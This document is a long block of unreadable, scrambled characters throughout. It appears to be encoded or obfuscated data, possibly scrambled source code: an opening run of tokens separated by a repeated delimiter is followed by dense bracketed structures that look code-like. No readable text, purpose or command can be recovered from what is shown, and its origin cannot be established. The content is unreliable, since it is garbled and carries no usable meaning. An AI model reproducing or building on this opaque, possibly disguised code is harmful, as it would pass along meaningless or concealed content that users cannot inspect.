03NNRYR1-5W51RYRFN00%>NRYR1-=;BL3/5N-?RYRK%.K[N&W51RYRW%3%RYR1-$RYR;5KK]L-?3I?NJ.7BL3/5%3/5K]L--5-@L%3L5-?@@@-$RYRN%WIRYR1-]3N5;BL3/5-?RYR&W51RYR1-&W51RYRV/03)RN00%>NRYR1-5?311@-@-@RYR0J))N>RYR;_NF3FNRYR;_N))>N3))L/3N30RYRD))Y^H	H))#PRYR>_/RYR>_/RYR0))%%IRYR0))%%IRYR0B03RYR0))%%IRYR0))WR\Y]R0B03RYR]VVRYR;_NF3FNRYR;_N02NRYR03V/0RYRVN>))F%3LRYR/VL%LN))K%_W%3NRYR0JNNVRYR%0N%FNRYR]/;;RYR%0N%FNRYR]VVRYR]0W))RYRW%FNRYRFB*V_B>0RYR>N3))/V3/RYRW%FNRYR%0N%FNRYR;BL3/))N030RYR%L3KN))03NJWN))V_B>0RYRW%FNRYR]%W))RYRNV_/WNRYRL/B3RYRB_ARYR;BL3/))N030RYR;_N))VB3))L/3N30RYR;_N02NRYRV%3RYRN%_V%3RYR;BL3/))N030RYR]VVRYR0B03RYRFWRYR0L))//3))KNRYR0L))//3))KNRYR[RYR0L))//3))3ARYRY))Y^P	))^^HHPQ	#RYR0L))//3))3ARYRY))Y^P	))^^H))9	PRYR03%3>RYRB))L%/N/K<KIAU0/3RYRA<0>:B<BI_LIRYRQH7^))	(H	^RYR>4!30>A))34ABJJ0;RYRN>03N))0B3W/J));BL3/RYRN>03N))0B3W/J));BL3/RYR%3U3JB;2W0/RYR%KW3A_/F>L0))_>;R\Y]R%0N%FNRYR3FRYR;_N))>N3))L/3N30RYRW%FNRYR]3))RYR]VVRYR]/L;))RYRB_ARYR;!B2!TF!RYRT>;))T))V/BRYR_/%W*V_B>0]VVRYR%WF))3RYR3IFUN>:KLFF_/K/+URYRVFKI3A+I%U_BRYRT4+IU_+;/RYR;;VKT/0::A;RYRJV;F))N_;WN))L/NL3/))/V30RYR;IL0VJ))03+0WT3FB))RYRJV));_N))F%%>N))L/NL3/))/V30RYRN_;WN))L/NL3/))/V30RYR;IL0VJ))03+0WT3FB))RYR;_N))F%%>N))L/NL3/))/V30RYR%B3N3L%3NRYR;B0V:!!0L_AI+I>FRYRJV))_/>RYRJ%KTA%!24U>0RYRVN))B0N))BNIRYRTL))%K;_IU4:;KRYRN03))B0N))BNIRYRL_:F3>;T_))<<WUAJRYRKNJ0))B0N0RYRT:LVV>K4N!AAV2RYRWNB>));/F%3/RYRJLF<%>T>++>>!RYR0/J))%WK%LNW))V_B>0RYR%J3/U:N20>RYR%WF))N%W*V_B>0]VVRYR));L))F+U4U+N;V_N!>L/FRYR03N))3%0N3))BVW%3N))V_B>0RYR%!0ULJ+J/<LJ/AL))RYR%__))V_B>0RYRJV))%T%))FA));_N));/_WN))F%%>NRYR!0NW4IWLBRYRJV))%T%))L/NL3/RYR!0NW4IWLBRYRJV))%T%));0))L/NL3/RYR!0NW4IWLBRYRJV));//3NRYR00V4T>AUW4FLRYR3NFV_%3N))NWNL3R\Y]R0A<4_U;WFJU:4_RYR%WF));//3NRYRN::T_00LBB3FAVRYR_/>));//3NRYRN::T_00LBB3FAVRYRA2IT3W%0ILRYRTNLKL2;I4!K:RYRI:WJAF3JJ/>WB3U<3RYR%WT%T))UTLI))>KN3RYR3%TFIJLJ2W/0RYRW!))JJJLTTIBF0!RYR3IFUN>:KLFF_/K/+URYRVL>2LV;LA!<0TWRYRV_B>0))_/%WNWRYR2_>FVWLBJJ4T2+%/A!3RYR_40_VB0</;!RYR_+TT%_FJ>_U!!RYR_+%JFV!JJRYR_A;KL>LLL0URYR>N3))/V3/RYR;BL3/))N030RYRTI;AI2WT>NVRYRT)):V0A!B3A:J>+RYR0WB>>FVN4/0RYR;BL3/))N030RYRBVW%3N))/V3/RYR0L))_%03))NL/KNI))LNLARYR0L))_%03))NL/KNI))LNLARYR3FNRYRBFJ_JJVRYRL/))0LNWB_N0RYRT%3;/32T4+N0RYRV_B>0))_/%WNWR\\N UQ.Q(N UCLG]Q\QH@ C]Q\NQHR47&R[R%!=R[R*R[RR[RA[FGR[R R[RR[R"9R[R 2<;R[R1'R[R8ZXR[RR[R6:R[R0R[R))HR[R_R[RU#OR[R]^R[R\3R[R$>R[R)RYR[RER[RIJR[RKLB@R[RDMC-R[R,/NR[RW.R[R(STR[R	+QVR[R?PR[R5RNQHRQR[RH0R[RL))R[RKN/R[RU]:R[RV_R[RB>R[RR[R%FDR[RS\ER[R#PR[R)R*AR[RW3R[RIY^R[R	JR[RG[R[R;'R[R.9R[R5R[R-7XR[R,"R[R=R[R 2R[R+R[R!<4(R[RR[RT$?R[R1&R[R@R[ROC R[R8Z6MRNQHWWN]QHENQI]Q\NQ^^\QH]QYQ.Q(\NQ[H]QHHH\JQ.Q(OQ.Q(N UQN UMAL]Q\ UCLG]Q\N U*F]Q\ UCLG]Q\N UF]Q\QHQ^EN UCLG]Q\N UAD@LBF]QMMM*\QMMM*H]]QMMM*\JQMMM*OE\^EN UQMMM*_MN UB@@GG]Q \Q H]]Q \JQ OE\^EN UQ _ANUUUUU]*F]E\\UUUUUNUUU UUMCCFB]\UUUUUUU UUUUUU]Q29:749&.MAL]D\(\UJUQ29:749&.F]D\(UUOUUU*F]G\NUUUUUU UUUUUDCLLEEFE]\UUUUUUUU UUUU**3<90**NUUUUUU UM@F M@ L]\UUUU UCLG]F\]DCLLEEFE]\\NUUU UUUUUUE@CBLELCE]\UU]CLG]A\]CLG]@\\\UUU U *]DCLLEEFE]\\NQGDBUUUUUUHUDCLLEEFE]\NUUUUQMEDD @UUUUHUU]CLG]C\\UUUUUJUUUUUU"%*%9 2<;*1<'UOUUUUWWNUUUU]QMEDD @UUTHHUUWWUUUUUSSUUUUUMAL]B\]QGDBYUUUUQMEDD @\UUHHHUUUE\UUUU U*F]M\]*F]L\]QGDBYUUUUF]DE\]QMEDD @\\YUURZR\N UUUMAL]F\]*F]DD\]QGDB\\UUUU[UURZRUUUUU[UUMAL]DG\]QGDB\NUUUU UUUUU *LMAEE]\UZZU UU UUCLG]DF\]]F]DA\\UUUJU"%8 *%9 2<;*1<'UUUOU]"%*6:;!0;!*1<'U[UF]D@\\YUUURZR\NUUUU ULB @]\UUU UUCLG]DD\]DCLLEEFE]\\NUUUU UUU*DAA]QDAECFYUUUQBD@LCLBUHU]DCG^FFD\YUQGDAL @BCUHUUUU\UUUU UUCLG]A\]CLG]DC\\UJUUUUU5CLG]DC\]QDAECFYUUQBD@LCLBYUUUQGDAL @BC\UUUOUUNUUU UF* ]QFFGBDYUUQBD@LCLB\UUU UUMAL]DB\]*F]DM\\UUJUUUU5MAL]DM\]QFFGBDYUUUQBD@LCLB\UUOUUUUNUUUUU UUUE F]QFFGBD\UUZZUUX  UU"%U2 U7QE*BGH%=%*<;!*84-Z%=%*<;!*84-NQ*  HQE*BG^@FN UUUF]DB\]F]DL\\UUUUJUU5MAL]DL\]QFFGBD\UUOUNUUUUUUUU UUUUUEEABB *FM]QFFGBDYUQG\UUUUUUUU UUUF]GE\]F]GD\\UJU5*F]GD\]QFFGBDYUUQG\UUUUUUOUUUUUNUUUU UULAAADF]QFFGBD\UUUUQ**EA UHUUD AC ]\NU UUEEABB *FM]QFFGBDYUUUUU]Q**EA UUXU]Q**EA UPUUUUU]LLL@G^AM\\\U^UUACCAG]\\NU UUB@E *G]QCEAM BMYUUUQD\UUUUUUUQ@LGHL_MNQFLC*MHQ@LGXDGNUUUUUU UUUUF]GG\]MAL]GF\\UJU5F]GF\]QCEAM BMYUQD\UUOUNQDACHAD_LNQEHQDACXDMNUUUUU U BCE]QCEAM BMYUUUQD\UUU UUUU*F]GG\]F]GA\\UUUUUJU5F]GA\]QCEAM BMYUUQD\UOUUUUNUUUUUUUU UUUUU*CCF A*DCEC]QDAECFYUUQFFGBD\ UMAL]G@\]CLG]GC\\UUJUUU5MAL]GC\]QDAECFYUQFFGBD\UOUUNUU UU*D]\UUUUUUQ BGLUHUU NUUUU]Q BGLUTHHU \UUU UUUUUQ BGLNUUUUQ BGLUHUUF]G@\]*F]GB\\UJUUMAL]GM\]\UUUOUUUUF]GL\NQFM* CHL@_CNQ@AHQFM* CXLNUUUUU]5*F]FE\]Q BGL\UUSSUUU5CLG]FD\]Q BGL\\UUUU UUQ BGLNUUUUUUUQGEEUUUUUUHUU]*F]FG\\UUJU"%*6:;!0;!*1<'UOUUU]]*F]E\\UJUUUUU47&%4!=UU[UMAL]FF\UUOUUWW\NUUUUUU]QGEEUUTHHUUUUUWW\UUUUQGDBUUHUUCLG]DF\]QGEEYUUMAL]FA\\UU[UF]F@\NUUUUU]T5*F]FE\]QGDB\\UU5*F]DC\]QGDBYUUU]AFC^@B\YUU \NUUUUUU]5F]FE\]QGDB\UUUUUSSUUU5F]FD\]QGDB\\UUUUUUU]*F]G@\]MAL]FC\\\UUUU5 ]CLG]FB\UU[UQGDB\NUUUUUUQ29:749&.*F]FM\(UHUUDNUUUUUQ BGLUHUUUUUQGDBNUUUUUUU UUQ BGLNUUUUUUUUUU U FDLF*DM]\UUUUUQDAECFUHULB @]\NUQBD@LCLBUUHUUU *LMAEE]\NZZU%=%UM[AUUUUUUUUU]QDAECFUHHHUUUUUQBD@LCLB\U U NUUUUU]CLG]FL\]F]AE\\\UUUUQADUHU5F]AD\]QDAECF\NUUQB FUHUUUU5CLG]AD\]QBD@LCLB\NU UUU]QADUTHHUUUUUUSSUQB FUTHHUUUUSSUQADUHHHUUUQB F\NUUUUUUU UUUNUUUU UUACCAG]\UUUU UU]LFBAM^BD\NUU UUUUUUFGDCCEGL*G]\UUUUUUUUUUUUU]T]MAL]E\\\UUUU UUUWWNUUUQGEEUUHUU]F]AG\\UUUUUJUUU"%*6:;!0;!*1<'UUOUU47&%4!=UU[UUU*F]FF\NU U*F]DF\]QGEEYUUUF]FA\\U[U*F]AF\UUU[UUUUUMAL]L\]*F]AA\]47&%4!=U[UU*F]A@\\YUEYUU]EB^ED\\UU[UU*F]AC\UU[UUUU*F]L\]MAL]AA\]47&%4!=U[U*F]AB\\YUUEYUU]G@E+GAG\\U[UUUMAL]AM\NU UUUUUUE EB]QEADUUUUUUHUUUUUU \UUUUUUUUQFFGBDUUUUHUUFGDCCEGL*G]\NUUUUUUUUU]QFFGBDUUHHHUUWW\UU UUUUUNUUUUUU]TCLG]AL\]QEAD\UUU		UUF]DE\]QEAD\UUUIUU]AFD^CL\\UQEADUUHUUUUUUGDG]\NUUUU]TQEADU		UUUUUT@LE*B ]QEAD\\UUU UNUUUUUQDAECFUHUUF]DD\]QFFGBD\NUUUUU]T5CLG]@E\]QDAECF\\U*DAA]QDAECFYUU]ADM^B@\YUUU \NUUUU]T5*F]@E\]QDAECF\U		UUUUUUT5F]FD\]QDAECF\\U UNUUUUUUUUU]5F]@D\]QFFGBD\\UUUUUUUUUUUUUU]F]AA\]*MB @AB]]\UUUUU5F]@G\]QFFGBD\\\UHHHU*F]AA\]QEAD\\UU UUU NUUUQUUUHUUD*E@]QFFGBD\NUUU]QUUTHHUUUU USSUU*]QYUUMCCFB]\YUUUUURKR\\UUU UUUUUUNU ]Q\NUUUUUUUU]T FAF@D]QFFGBDYUUQEAD\\UU UUUNUUF* ]QFFGBDYU]FFF^MB\\NELAAL*]QFFGBD\NUUUUUUUU UUU NU UUUCGBGBE]\UUUUUQEADUHUUUUUGDG]\NUUUUUUUUUUUU]TQEADUUU		UT@LE*B ]QEAD\\UUUUUU UUNUQGEUUUHUUUUU*F]DG\]DCLLEEFE]\YUUUUF]AM\\NQ@@FFGH%=%*<;!*84-Z%=%*<;!*84-NQMMF AMCHQ@@FFG^DBNUQADCEUHUU*F]@F\]MAL]@A\\UJUUU GBME M L]\UUUUUOU]]F]AG\\UUJUUU"%*6:;!0;!*1<'UUUUOUWW\NUU]QADCEUHHHUWW\UUUU UNUQMEDD @UUUHUQADCEUUU[UCLG]@@\UU[UUQGENUUUUUUUQUUHUQMEDD @U[UUUURZRUU[UUUQGEUUU[UUMAL]AM\NUUUQC@FMUUHUUUNUUUU]MAL]@F\]*F]AD\\\UUQ@FGGUHU5F]AD\]Q\NUUUUUQ*GE LCUUUUUHUU5F]@C\]DCLLEEFE]\\NQC@FMUHUUU]*F]AL\]Q@FGG\USSUUUU*F]AL\]Q*GE LC\UUUUUSSUUUUUQ@FGGUUUUHHHUQ*GE LC\NUU]TQC@FM\UUUUUUU]T5F]@E\]QMEDD @\\UUUU*DAA]QMEDD @YUU]ABB^DC\YUU \NUUUUU]T5MAL]@E\]QMEDD @\UUU		UUUUT5MAL]FD\]QMEDD @\\UU UUNQ LLDCH%=%*<;!*84-Z%=%*<;!*84-NQHQ LLDC^GBNUUUUUUUU]T5*F]@D\]Q\U		UUF]@B\]*MB @AB]]\UUU5*F]@M\]Q\\\UUTHHUF]@L\]QEAD\\UUU]5CLG]@D\]Q\\UUUUUUUUUQUUHUUUUD*E@]Q\NUUUUU]QUUUTHHU UUSSUUU*]QYUUUMCCFB]\YUUURKR\\U UUNUUUUU ]Q\NUUUZZUUXUUUUUUUU]T FAF@D]QYUUUFD @]QEAD\\\UUUUU UUUNF* ]QYU]FAF^BB\\NULAAADF]Q\NUELAAL*]Q\NQELF@*H%=%*84?:'*#0'&<:;NQ*DDHQELF@*_DNUUUUU]*F]@F\]MAL]CE\\UUUUSSUUCLG]CD\]MAL]CG\\\UUQ@FAAADUUHUUQGEUU[UURZRUUU[UUQGEU[UUCLG]AM\NQMAL*BUUUUHUU*]MAL]CF\YUUUU]\\NUU]TF]CA\]QMAL*B\\UUUQMAL*BUUUHUU]\NUUUUUUUUU]T*F]C@\]Q@FAAADYUUUQMAL*BYUU \\UUQMAL*B.(UHUUQ@FAAADNUU *]MAL]CF\YUUUUCLG]CC\]QMAL*B\\NUUUUUUUUUU UUU NUUUUUUUUU UD*E@]QFFGBD\UUUUUUUUQGEBMGD UUHUUUU5F]CB\]QFFGBDYUUYUUU YUUUEYUU]EGB^EMF\\NUUUU]TCLG]CM\]QGEBMGD \\UU U NUUUU]MAL]CL\]CLG]BE\YUUUQGEBMGD YUQBD@LCLB\\U UQBD@LCLB.D(NU UUUU NUUUUUUUUUUU UUUUUUL*F]QMYUUQDF\UUZZUU U5] YUUUUUUQM\NUUUUUQDLAUUUUUUHUUUU5*F]BD\]QM\NUU]TQDLAUU		U]QDLAUUPU]LLLLE^DE\\UTHHUUACCAG]\\UZZU"%U7 U7OU UXUUUU UUUNUUUUUUUUUUQLEGUUUHUU5F]BG\]QM\NU UUQLEGUUSSUQLEGUUUKHUUUQDFNU U@EBFEG]\UUUU UUU]F@LBL^GD\NUU UGEBGM]\UUUUU UU*F]BF\NUUUU UUUD*LB@@BE]\UUUUUUUUUUUU UUUUU*F]BA\NUUUU UUUUUDED@LLLD]\UUUUUUU]MAL]CD\]MAL]B@\\\UUUUUU U NUUUUU]CBAB@]\\UU UUUU NUUUUUUUQE@ BUUUHUU]Q*&0'#0'.CLG]BC\(\UJUUUUU*F]BB\]]\UUUUQ*&0'#0'.F]BM\(\UUOUUWWNUUUUU]QE@ BUUTHHUUUUWWUUSSUUUU]CLG]B\]QE@ BYUU*F]BL\\UUTHHUUU		UUUUUMAL]ME\]QE@ BYUUUUMAL]MD\\UUTHHUUUUU		UUUU*F]ME\]QE@ BYUMAL]MG\\UTHHUUUUU\\UUU UU NUUUUUU]QE@ BUHHHUWWUUUSSUUMAL]MF\]\UUTHHUUUUU*F]MA\UUUUSSUU]Q*&0'#0'.F]M@\(\\UUU UUUUU NU UNUUUUUUUUU UUUUCBAB@]\Q AFLGH%=%*<;!*84-Z%=%*<;!*84-NQAFCHQ AFLG^CNUUUQE@ BUUUHUU]Q*&0'#0'.F]BM\(\UUUJUUUQ*&0'#0'.MAL]MC\(UUOUUUWWNUUUUUUU UUCLG]CM\]QE@ B\UUUSSUU]QE@ BYUUUCLG]MB\\UTHHUNUUUUU UUUUA*]QEMEM\UUUUQBD*UHUU*F]CD\]CLG]MM\\UUJU5F]ML\]F]LE\\UOUNUUUUUUUU]TQBD*UU		UUUUUUQBD*UUHHHUWW\U U NUQ@EGUHUUUU5CLG]LD\]QEMEM\NUUUUU]TQ@EG\UUUQ@EGUHUQEMEMNQ G*HXMGNQ EH]Q G*KE\JQ G*OXQ G*NUUU]*F]LG\]%4!=*&0%4'4!:'YUUUQBD*\UUUUUQBD E\UUQBD EUHUUU*F]DF\]QBD EYUUCLG]FA\\NUUU]QBD EUSSUUUUUU]Q@EGUUUHHHUUUUQBD EU		UUMAL]LF\]Q@EGYUQBD EU[UUUUU1<'06!:',*&0%4'4!:'\UUHHHUUUUE\\UUUUU UU NUUUUUUUUUUU UUUNUUUUU UUG*DBFF]QECMED\UUUUUUQE@@* MUUUHUUUUQECMEDU[UR	RUU[U]]*F]LA\\UUJUUU17*;480UOUUUWW\UU[UUUR	RU[UUUUU]]CLG]E\\UUUUJUU47&%4!=UUOUWW\NU UUMAL]L@\]QE@@* M\NUUUUUUUUUUUUU UUUULBG@@LMCLAD]QECMED\UUUUUUUUUUQNUU]T]Q29:749&.*F]LC\(\UUU		UUUT*F]CA\]Q29:749&.CLG]LB\(\\UUQ29:749&.*F]LB\(UUHU]\NUUUUUUUUUUUUU]T]Q29:749&.CLG]LB\(.QECMED(\\UUUUUQ29:749&.F]LB\(.QECMED(^^N UUU NUUUUUUUUUU]MAL]LM\]Q\USSUUF]LL\]QYUUUU*F]DEE\\\UUQGDAL @BCUUHUUUUU5QXK*]*F]DED\U[UUG*DBFF]QECMED\U[UF]DEG\\NUUUU]QGDAL @BCUUHHHURDR\UUZZU%&'XAUOUUXUQ29:749&.F]LB\(.QECMED(UUUUHUUUUDNUUU U NUUU]QGDAL @BCUUHHHUUURER\U UUNUUUUUUUU]CLG]CD\]CLG]DEF\\UUSSUU*F]CD\]CLG]DEA\\\UZZUUXQ*EH@_GNQC@FHQ*EXDNUUUUQ D@ UUUUHU]\NUUUUU]*F]CD\]MAL]GM\\\UUUUUQ D@ .(UUHUUCLG]GM\]\NU]]*F]DE@\\\UUQ D@ .(UHU"%*6:;!0;!*1<'NUUUUUUUU]]F]E\\\UQ D@ .(UUUUUHUUCLG]DF\]47&%4!=YUUUCLG]DEC\\NUUUUUUUU]Q D@ UUUUUUQDAECF\UUUUUUUUU]QDAECFUUHHHUWWUUUUUU		UUT5MAL]DEB\]QDAECF\UUUU		UUT5*F]FD\]QDAECF\\UU NUUQFGBUHUUU5CLG]DEA\]QDAECFUU[UUCLG]DEM\U[UG*DBFF]QECMED\UUUUUU[UMAL]DEL\YUUUUUURR\NUUUUU]QFGBUTHHUU\UUUUUUUUUU]T5]QFGBYU9:6>*0-U	U9:6>*;7\\UUUUUUZZUU XXUU5]QFGB\NUU UNUUUUUUUUUU]T]Q29:749&.MAL]DDE\(\UUU		UT*F]DDD\]Q29:749&.*F]DDE\(\\UUUQ29:749&.CLG]DDE\(UUHUU]\NUUQ29:749&.MAL]DDE\(.QECMED(UUHUUUUQFGBNQ29:749&.F]LB\(.QECMED(UUUUHUDN UUU NUUUUUUUUUUUU UUUNUUU UU@FLGL]QECMED\UUUUQNUUU]]Q29:749&.F]DDG\(.QECMED(\\UU NUQ29:749&.*F]DDG\(.QECMED(XXNUU]Q29:749&.MAL]DDF\(.QECMED(UUUKUUE\U NU ]Q29:749&.F]DDF\(.QECMED(\NUUUUUUUU]]Q29:749&.MAL]DDA\(.QECMED(\\UU5]Q29:749&.MAL]DD@\(.QECMED(YUUUUUU9:6>* ;\N5]Q29:749&.*F]DDC\(.QECMED(\NUUUU ]Q29:749&.*F]DDB\(.QECMED(\NUUUUU]MAL]LM\]Q\UUUUUSSUUUUUUCLG]LL\]QYUUU*F]DDM\\\UUUUUUU5QXK ]CLG]DDL\UUU[UG*DBFF]QECMED\UU[U*F]DGE\\NZZU UUUUU UUBML@AE]\UUUUUUU]]MAL]DGD\\USSU1<&499:"*3<90*8:1&\UUUUU UNU UU NUUUUUUUUUU UUAAMGG*  ]Q*BAMMYUUQD@D*G\UUUUU]*]F]DGG\\UUUSSUQD@D*GUUU!\UUUUQ FUHUUUUU*F]L\]Q*BAMMU[UUUMAL]DGF\UU[UUUQD@D*GXK8]\YUEYU]FCAXDEM\\NUUUUUUUU]QD@D*GUUUU0\UUUQ FUHUUF]DGA\]Q*BAMMUU[UUF]DG@\U[UUUQD@D*GXK8]\YUUUUEYUUUU]DBA^MG\\NUUUUUUU]MAL]DGC\]QD@D*G\UUSSUUUMAL]DE\]QD@D*G\UUKUUUUE\UUUUQ FUUHUF]DGB\]Q*BAMMUUU[UF]DGM\U[UQD@D*GYUUUUUUEYU]GEC^@E\\NUUUUUUU NZZUUUUUU]T]Q29:749&.F]DGL\(\\UUUQ29:749&.MAL]DGL\(UUUUHUUUU]\NUUUUU]T*F]C@\]Q FYUUUUUUQ29:749&.CLG]DFE\(YU \\UUUUUUUUUUQ29:749&.*F]DFE\(.(UUUHUUUUQ FNUUUUUUUUU]*F]DFD\]Q29:749&.MAL]DFG\(\UUKUUUUU]GA^GC\\UUUQ29:749&.CLG]DFF\(UUUUHUMAL]DFA\]Q29:749&.CLG]DF@\(YUX]FE^GE\\NUUUUUUUUU]!UQMEL\UUUUUZZU%U%=%UGUUUUUUU]0UUUUQMEL\UUUUUUUUUUUUU UUUUUGEEF ]QGEBMGD YUUUQC*EDMYUUUUQFFGBDUUHUUUU]C^A\YUUQEGED UUHUUUD\UUUU]TMAL]CD\]MAL]DFC\\\UU UUUNUUUU]MAL]DFB\]QC*EDM\\UUU UU*]QGEBMGD YUU UUU][[[Q @LD@E\UUU UUU]QC*EDM\UUUUUUUU]*F]CD\]QC*EDM\\UUUU UQC*EDM][[[Q @LD@E\N U NYUUUQFFGBDYUUUUQEGED \NQ**H%=%*<;!*84-Z%=%*<;!*84-NQADLFHQ**^MDNUUUUUU UUUU*]QGEBMGD YUUUQC*EDMYUQFFGBDYUQEGED \NUU UF*E@LBM@]QGEBMGD YUUUQC*EDMYUUUUUUQFFGBDUUHUUU]CL+BL\YUUUQEGED UHUD\UUUUUUUUUUUUU]TMAL]CD\]CLG]DFM\\\U UUUUUNUU]*F]DFB\]QC*EDM\\UUUUUUUU UUU*]QGEBMGD YU UU][[[Q @LD@E\U UU]QC*EDM\UUU]F]DFL\]QC*EDM\\UUUU UQC*EDM][[[Q @LD@E\NUUUUUUUU U]Q @LD@E.E(\UUUUJUUQ @LD@E.E(UOUUU NUUUUUYUUQFFGBDYUUQEGED \NQCDLH]EGF^EM\NQLFHQCDLPDFNUUUUUUUUUU UUUUU*]QGEBMGD YUUUUUUQC*EDMYUUUUQFFGBDYUQEGED \NUUUU UUUGMFM]\UUUUQBD EUUUHUUUUU]CLG]DAE\\UUUJUUUU"%*6:;!0;!*1<'U[UCLG]DAD\UUU[UUL ]47&%4!=U[UCLG]A@\YUU]B^D\\UUUUOUUUUUUF]DD\]DCLLEEFE]\\UU[UCLG]DAG\NUU]T5F]DEB\]QBD E\UUUUUUSSUUUUUA*]QBD E\\UUUU*DAA]QBD EYUUU]EGM^ED@\YUUUU \NUUUUU]5*F]DEB\]QBD E\\UUUUUUUFLGEBGB L]QBD EUU[UU*F]DAF\YUUUUUWIJUZZU&UU[)WYUCLG]A@\\NUUUUUUUUUU]5F]DAA\]QBD E\USSUU5CLG]DA@\]QBD E\\UUUUUZZUU  UQBD ENUUUZZUUXUU"%U2U&UUUUQCMLFDFBUUUUHUF]DD\]DCLLEEFE]\\UUU[UCLG]DAG\NUUUU]T5F]DAC\]QCMLFDFB\UUUSSUUUA*]QCMLFDFB\\UU*DAA]QCMLFDFBYUUUUU]AGB^CC\YUU \NU]5*F]DAC\]QCMLFDFB\UUUSSU5CLG]DA@\]QCMLFDFB\\UUU UQCMLFDFBNQUUHUU*F]DD\]DCLLEEFE]\\NUUUUUUUUUUU]5*F]DA@\]Q\USSUUQUUTHHUU *LMAEE]\\UUUU UUUQNUU]]CLG]DAE\\USSUUUU5F]DAB\]"%*6:;!0;!*1<'\USSUUUUA*]"%*6:;!0;!*1<'\\U UUUUU"%*6:;!0;!*1<'NUUUU UUQBD ENUUUU UUU GBME M L]\UU]]F]DAE\\UUUUSSUUUUU5F]DAB\]"%*6:;!0;!*1<'\UUSSUUUA*]"%*6:;!0;!*1<'\\UU UUUUU"%*6:;!0;!*1<'NUUUUUUUQLAGGUHUU*F]DAM\]DCLLEEFE]\\NUUUUU]A*]QLAGG\\UUU UQLAGGNUU UU"%*6:;!0;!*1<'NUUUUUUU UUUUDFMCGD@]QEMEM\UUUUU]]Q29:749&.MAL]DAL\(\U		UUUT*F]D@E\]Q29:749&.MAL]D@D\(\\UUU UNU]]Q29:749&.CLG]D@G\(.QEMEM(\\U UU NUQ@EGUHUUF]DFL\]CLG]D@F\\UJU5MAL]D@F\]QEMEM\UUOUNUUU UUU]Q@EGUUTHHUUUUUUUSSUUUUU]Q29:749&.CLG]D@G\(.Q@EG(\\NUU UC *DEBB]QEMEM\UZ_UUU_ZQCGHLG_BNQFF HQCGXFNU]]Q29:749&.MAL]D@A\(\U		UUUUT*F]D@E\]Q29:749&.*F]D@A\(\\UU NU ]Q29:749&.*F]D@A\(.QEMEM(\NUUUUQ@EGUHUU*F]DFL\]F]D@F\\UJUUU5CLG]D@F\]QEMEM\UUOUNUUU]Q@EGUUTHHUUUU\UUUU ]Q29:749&.CLG]D@@\(.Q@EG(\N UUUUUU*@D]QEMEM\UUUUUUUUUUUUUUUUU]T]Q29:749&.*F]D@@\(\UUU		UTMAL]D@E\]Q29:749&.F]D@C\(\\UUUUUUQ29:749&.MAL]D@C\(UUHUUUU]\NUQL@AUHUUUF]DFL\]*F]D@F\\UUJUUU5F]D@B\]QEMEM\UUUUUOUNUQ29:749&.F]D@C\(.QL@AUUTHHUUUJUQL@AUOUUQEMEM(UUUHUUUQEMEMNUUUQDMLGEUUHUUNUUU]TQDMLGE\UUUUUQDMLGEUUUHUU NUUUUUUUU]F]D@M\]F]D@L\\\UUMAL]D@L\]F]DCE\\NUUUUU UUUUUDD*@*D]\UUUU]]Q29:749&.MAL]DCD\(\U		UUUTF]DCG\]Q29:749&.F]DCD\(\\UUUUU NUUUUUUU]Q29:749&.CLG]DCF\(UUUUQ*CL@*MMUUUHKUUQDMCF*AA\UUUUUUUUUUUU]T*F]DFB\]QDMCF*AA\\UQDMCF*AAUHUUUUQ*CL@*MMNUUUU]Q*CL@*MMUUUUHHHUUUUDCLLEEFE]\UU		UUQDMCF*AAUUUUUHHHUUUUUDCLLEEFE]\\UU NUUUUUUUU]5*F]@D\]QDMCF*AA\\UUUUUUUUUU]*F]D@M\]CLG]DCA\\\UUUUF* ]QDMCF*AAYU]E@B^EDA\\NUUUUUUU]F]D@M\]*F]DL\\UUUUSSUE F]QDMCF*AA\USSU*F]D@M\]MAL]DC@\\\UU5*]QDMCF*AAYUU \NUUUUUUUU]!UQD@D*G\UUUUUUU]0UUUUUQD@D*G\UUZZU"%U%U1OUUUUUUU UUUUUUEA L]\UUUUUUQD@D*GUUUUHUUCLG]DCC\]F]DCB\\UUUJU5**]\UUUUOUUUUU NUUUUUUU]T*F]DCM\]QD@D*G\U		UUU]QD@D*G.MAL]DCL\(\UUUUU		U]QD@D*G.MAL]DBE\(\\U NUUUU]TF]C@\]QD@D*G.MAL]DBE\(YUUU]0*0'':'YUUU0*%4'&0YUUUU0*6:'0*0'':'YU0*6:8%<90*0'':'YUU0* &0'*0'':'\YUU \\U NQBD@LCLBUUUUHUUUUU]QD@D*G.CLG]DBD\(\UUUUJUUU]\UQD@D*G.MAL]DBG\(UUOUUWWNU]]QBD@LCLBYUF]DBF\\UUUUUTHHUUUUUUUU		UUU]QBD@LCLBYUU*F]DBA\\UUUUUTHHUUU\UUUU NUUQC@FMUUHUUUU*F]DCC\]*F]D@B\\UJUUUU5MAL]DB@\]DCLLEEFE]\\UUOUDCLLEEFE]\NUQ*UUHUF]DCC\]F]DBC\\UUUJUU5F]DBB\]QD@D*G.*F]DCL\(\UOUQD@D*G.MAL]DCL\(NQ H%=%*84?:'*#0'&<:;NQ*BAHQ _LNUUUUUUUU]TF]DBM\]QC@FM\UUU		UUTF]DBM\]Q*\U		UUQ*UTHHUUUUQC@FM\UU NUUUUUUU]]Q29:749&.MAL]DBL\(\\UUUUUUUUQGAEAFUUHUU5CLG]CB\]DCLLEEFE]\YUUUUYUUUUU YUUEYUU]DEF^FLLF\\NUUUU]MAL]DBM\]QGAEAF\UUUSSUU*F]CL\]MAL]BE\YUUQGAEAFYUUQ*\UUSSUUUQ*.D(UUTHHUU]\UUQ29:749&.CLG]DBL\(\UUU NU ]QGAEAFYUUQ*\NUUUUUUUU]]Q29:749&.MAL]DME\(\\UUUZ_UUU_ZUUUUU]MAL]DCC\]F]DMD\\\UU5] YUDCLLEEFE]\\NUUUUUUQEMLUHUU]\UUU5MAL]DMG\]DCLLEEFE]\\UUU[UURORUUUU[UU]\U5MAL]BD\]DCLLEEFE]\\NUUUUUU]QEMLUUUTHHUUUU]\UUQ29:749&.MAL]DME\(\U NUUUUUUUUU ]QEML\NUUUUUUQGEUUHUUUUF]DG\]DCLLEEFE]\YUCLG]DMF\\NUUUUUQAG*UUUUHUUUCLG]L@\]*MB @AB]]\UU5MAL]CB\]DCLLEEFE]\\\\NUUUUUFLGEBGB L]MAL]DAM\]DCLLEEFE]\\UUU[U*F]DMA\UU[UQGEYUQAG*YURR\NUUUU]QAG*UTHHUUUWW\UUUUUUFLGEBGB L]CLG]DAM\]DCLLEEFE]\\UUUU[UUUCLG]DM@\UUUUUU[UUUUQAG*YUUU]\UF]DMC\]\YUUURR\NUUUUUU]F]DMB\]*F]DMM\\\UUUUUUU5 *]*F